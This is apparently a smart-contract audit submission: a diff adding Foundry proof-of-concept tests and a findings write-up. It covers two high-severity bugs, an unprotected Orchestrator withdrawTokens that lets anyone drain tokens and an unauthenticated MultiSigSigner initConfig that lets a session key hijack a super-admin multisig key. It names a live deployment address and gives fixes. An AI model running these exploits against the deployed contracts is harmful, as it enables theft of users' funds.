2 High finding: MultiSig and Orchestrator

test/poc-findings/TestFindings.t.sol

@@ -0,0 +1,177 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.4;
+
+import "../Base.t.sol";
+import {MultiSigSigner} from "../../src/MultiSigSigner.sol";
+
+contract TestFindings is BaseTest {
+    address internal constant cafeBabe = address(0xcafebabe);
+    uint256 internal constant combinedGas = 10_000_000;
+
+    address internal attacker;
+
+    function setUp() public override {
+        super.setUp();
+        attacker = makeAddr("attacker");
+    }
+
+    function test_orchestratorPaymentsSweep() public {
+        DelegatedEOA memory d1;
+        PassKey memory k1;
+        Orchestrator.Intent memory u1;
+        (d1, k1, u1) = _createFullDataToExecute(cafeBabe, 1 ether, 0.1 ether, 0.5 ether);
+
+        assertEq(oc.execute(abi.encode(u1)), bytes4(0));
+        assertEq(paymentToken.balanceOf(address(oc)), 0.1 ether);
+
+        DelegatedEOA memory d2;
+        PassKey memory k2;
+        Orchestrator.Intent memory u2;
+        (d2, k2, u2) = _createFullDataToExecute(cafeBabe, 2 ether, 0.5 ether, 0.5 ether);
+
+        k2.k.isSuperAdmin = true;
+        vm.prank(d2.eoa);
+        d2.d.authorize(k2.k);
+
+        assertEq(oc.execute(abi.encode(u2)), bytes4(0));
+        assertEq(paymentToken.balanceOf(address(oc)), 0.6 ether);
+
+        vm.prank(attacker);
+        oc.withdrawTokens(address(paymentToken), attacker, paymentToken.balanceOf(address(oc)));
+
+        assertEq(paymentToken.balanceOf(address(oc)), 0);
+        assertEq(paymentToken.balanceOf(attacker), 0.6 ether);
+    }
+
+    function test_initConfigNoAuthCheck() public {
+        MultiSigSigner multiSigSigner = new MultiSigSigner();
+        DelegatedEOA memory d = _createDelegatedEOAAndDeal();
+
+        IthacaAccount.Key memory multiSigKey = _createExternalKey(address(multiSigSigner), true);
+        bytes32 multiSigKeyHash = _hash(multiSigKey);
+
+        PassKey memory sessionKey = _randomSecp256k1PassKey();
+        PassKey memory attackerOwner = _randomSecp256k1PassKey();
+
+        vm.startPrank(d.eoa);
+        d.d.authorize(multiSigKey);
+        d.d.authorize(sessionKey.k);
+        d.d.authorize(attackerOwner.k);
+        d.d.setCanExecute(
+            sessionKey.keyHash,
+            address(multiSigSigner),
+            MultiSigSigner.initConfig.selector,
+            true
+        );
+        vm.stopPrank();
+
+        Orchestrator.Intent memory intent = _createInitConfigIntent(
+            d, sessionKey, address(multiSigSigner), multiSigKeyHash, 1, attackerOwner.keyHash
+        );
+
+        assertEq(oc.execute(abi.encode(intent)), bytes4(0));
+
+        (uint256 threshold, bytes32[] memory owners) =
+            multiSigSigner.getConfig(address(d.d), multiSigKeyHash);
+        assertEq(threshold, 1);
+        assertEq(owners[0], attackerOwner.keyHash);
+
+        vm.prank(address(d.d));
+        vm.expectRevert(MultiSigSigner.ConfigAlreadySet.selector);
+        multiSigSigner.initConfig(multiSigKeyHash, 2, new bytes32[](2));
+
+        bytes32 digest = keccak256("drain funds");
+        bytes[] memory sigs = new bytes[](1);
+        sigs[0] = _sig(attackerOwner, digest);
+
+        vm.prank(address(d.d));
+        assertEq(
+            multiSigSigner.isValidSignatureWithKeyHash(digest, multiSigKeyHash, abi.encode(sigs)),
+            bytes4(0x8afc93b4)
+        );
+    }
+
+    function _createFullDataToExecute(
+        address to,
+        uint256 amount,
+        uint256 paymentAmount,
+        uint256 paymentMaxAmount
+    )
+        internal
+        returns (DelegatedEOA memory d, PassKey memory k, Orchestrator.Intent memory intent)
+    {
+        d = _createDelegatedEOAAndDeal();
+        k = _createPassKeyAndAuthorize(d);
+        intent = _createIntent(d, k, to, amount, paymentAmount, paymentMaxAmount);
+    }
+
+    function _createIntent(
+        DelegatedEOA memory d,
+        PassKey memory k,
+        address to,
+        uint256 amount,
+        uint256 paymentAmount,
+        uint256 paymentMaxAmount
+    ) internal view returns (Orchestrator.Intent memory intent) {
+        intent.eoa = d.eoa;
+        intent.nonce = d.d.getNonce(0);
+        intent.executionData = _transferExecutionData(address(paymentToken), to, amount);
+        intent.paymentToken = address(paymentToken);
+        intent.paymentAmount = paymentAmount;
+        intent.paymentMaxAmount = paymentMaxAmount;
+        intent.paymentRecipient = address(oc);
+        intent.combinedGas = combinedGas;
+        intent.signature = _sig(k, intent);
+    }
+
+    function _createExternalKey(address signer, bool isSuperAdmin)
+        internal
+        pure
+        returns (IthacaAccount.Key memory k)
+    {
+        k.keyType = IthacaAccount.KeyType.External;
+        k.isSuperAdmin = isSuperAdmin;
+        k.publicKey = abi.encodePacked(signer, bytes12(0));
+    }
+
+    function _createInitConfigIntent(
+        DelegatedEOA memory d,
+        PassKey memory k,
+        address multiSigSigner,
+        bytes32 targetKeyHash,
+        uint256 threshold,
+        bytes32 ownerKeyHash
+    ) internal view returns (Orchestrator.Intent memory intent) {
+        bytes32[] memory ownerKeyHashes = new bytes32[](1);
+        ownerKeyHashes[0] = ownerKeyHash;
+
+        ERC7821.Call[] memory calls = new ERC7821.Call[](1);
+        calls[0].to = multiSigSigner;
+        calls[0].data = abi.encodeWithSelector(
+            MultiSigSigner.initConfig.selector, targetKeyHash, threshold, ownerKeyHashes
+        );
+
+        intent.eoa = d.eoa;
+        intent.nonce = d.d.getNonce(0);
+        intent.executionData = abi.encode(calls);
+        intent.combinedGas = combinedGas;
+        intent.signature = _sig(k, intent);
+    }
+
+    ////////////////////////////////////////////////////////////////////////
+    // Shared Helpers
+    ////////////////////////////////////////////////////////////////////////
+
+    function _createDelegatedEOAAndDeal() internal returns (DelegatedEOA memory d) {
+        d = _randomEIP7702DelegatedEOA();
+        vm.deal(d.eoa, 10 ether);
+        paymentToken.mint(d.eoa, 50 ether);
+    }
+
+    function _createPassKeyAndAuthorize(DelegatedEOA memory d) internal returns (PassKey memory k) {
+        k = _randomSecp256k1PassKey();
+        k.k.isSuperAdmin = true;
+        vm.prank(d.eoa);
+        d.d.authorize(k.k);
+    }
+}

test/poc-findings/findings.md

@@ -0,0 +1,121 @@
+# 01 | High
+
+## `withdrawTokens` has no access control — anyone can drain the Orchestrator
+
+`Orchestrator.withdrawTokens` (L152-156) is fully public with zero access control. Anyone can call it and sweep every token sitting on the contract.
+
+### Where
+
+`src/Orchestrator.sol` L152-156
+
+```solidity
+function withdrawTokens(address token, address recipient, uint256 amount) public virtual {
+    TokenTransferLib.safeTransfer(token, recipient, amount);
+}
+```
+
+### Why it matters
+
+The Orchestrator accumulates ERC20 payment tokens during normal operation. Relayers set `paymentRecipient = address(orchestrator)` to collect gas compensation — this pattern is used all over the test suite (`Orchestrator.t.sol` L119, L603, L692, L1048). The EOA pays via `IthacaAccount.pay()` (L657), and tokens pile up on the contract.
+
+On top of that, the Orchestrator accepts native ETH through `receive()` (L828) and `payable execute()` (L198, L210). So there are real, production paths for funds to land on this contract.
+
+Once they're there, anyone can take them.
+
+### The interface literally says "owner"
+
+`IOrchestrator.sol` (L36):
+
+```solidity
+/// @dev Allows the orchestrator owner to withdraw tokens.
+function withdrawTokens(address token, address recipient, uint256 amount) external;
+```
+
+The implementation allows **anyone**. `SimpleFunder.sol` (L69) has the exact same function signature with `onlyOwner`. The access control was clearly intended but never added.
+
+### Live deployments
+
+Orchestrator is deployed at `0x36A7Cd5b1F475122A2b52580FC8e170A2Cd312eF` across all chains (Base, Ethereum, Optimism, Arbitrum, BNB, Polygon, Celo, Berachain, Gnosis) via CREATE2. Callable by anyone on every deployment.
+
+### POC
+
+[`test/poc/TestFindings.t.sol::test_orchestratorPaymentsSweep`](../test/poc/TestFindings.t.sol)
+
+Two legitimate intents execute with `paymentRecipient = address(oc)`. After both succeed, 0.6 ether of ERC20 payment tokens sit on the Orchestrator. An unprivileged attacker calls `withdrawTokens` and drains everything.
+
+```bash
+forge test --match-test test_orchestratorPaymentsSweep -vvv
+```
+
+### Fix
+
+Add `onlyOwner` to `withdrawTokens`, same as `SimpleFunder` already does.
+
+---
+
+# 02 | High
+
+## `initConfig` missing `_checkKeyHash` — session key can hijack a multisig super admin
+
+`MultiSigSigner.initConfig` (L75-89) has no authorization check. Every other config mutation function calls `_checkKeyHash`, but `initConfig` doesn't. A session key with `initConfig` permission can front-run the legitimate owner and permanently take over any multisig key on the account.
+
+### Where
+
+`src/MultiSigSigner.sol` L75-89
+
+```solidity
+function initConfig(bytes32 keyHash, uint256 threshold, bytes32[] memory ownerKeyHashes) public {
+    if (threshold == 0 || threshold > ownerKeyHashes.length) revert InvalidThreshold();
+    Config storage config = _configs[msg.sender][keyHash];
+    if (config.threshold > 0) { revert ConfigAlreadySet(); }
+    _configs[msg.sender][keyHash] = Config({threshold: threshold, ownerKeyHashes: ownerKeyHashes});
+}
+```
+
+Compare with the other mutators — they all gate on `_checkKeyHash`:
+
+- `addOwner` (L93): `_checkKeyHash(keyHash)`
+- `removeOwner` (L103): `_checkKeyHash(keyHash)`
+- `setThreshold` (L129): `_checkKeyHash(keyHash)`
+
+`_checkKeyHash` (L67-70) reads `getContextKeyHash()` from transient storage and reverts if it doesn't match the target `keyHash`. This is the whole point of the guard — only the key itself (or the EOA) should be able to mutate its own config. `initConfig` skips it entirely.
+
+### Attack path
+
+1. Account has an External key K (`isSuperAdmin = true`) pointing to `MultiSigSigner`. Config for K is not yet initialized.
+2. A session key S has `setCanExecute(S, multiSigSigner, initConfig.selector, true)`.
+3. Session key S sends an intent through the Orchestrator:
+   ```
+   initConfig(K_hash, 1, [attackerOwnerKeyHash])
+   ```
+4. `getContextKeyHash()` returns `S.keyHash` during execution, but `initConfig` never checks it. Config is written.
+5. `ConfigAlreadySet` blocks any re-initialization — the hijack is permanent.
+6. Attacker signs any digest with their owner key. `isValidSignatureWithKeyHash` returns `0x8afc93b4`. They now control a super admin key on the account.
+
+### Why it's permanent
+
+`initConfig` reverts with `ConfigAlreadySet` if `threshold > 0` (L83-85). Threshold can never go back to 0. The other mutation functions (`addOwner`, `removeOwner`, `setThreshold`) all require `_checkKeyHash` — which means the attacker's owner keys would need to authorize any fix. The legitimate owner is locked out.
+
+### POC
+
+[`test/poc/TestFindings.t.sol::test_initConfigNoAuthCheck`](../test/poc/TestFindings.t.sol)
+
+The test sets up:
+- External key K (`isSuperAdmin = true`) using MultiSigSigner
+- Session key S (non-super-admin) with `initConfig` permission
+- Attacker owner key
+
+Session key S hijacks the config for K through the Orchestrator. The test verifies:
+- Config is set to attacker's owners with threshold=1
+- Re-initialization reverts with `ConfigAlreadySet`
+- Attacker produces a valid multisig signature (`0x8afc93b4`) for an arbitrary digest
+
+```bash
+forge test --match-test test_initConfigNoAuthCheck -vvv
+```
+
+### Fix
+
+Add authorization to `initConfig`. Note: naively adding `_checkKeyHash(keyHash)` creates a chicken-and-egg — the External key K can't validate before its config exists. The fix should restrict initialization to the EOA key (`contextKeyHash == bytes32(0)`) or super-admin keys only.
+
+---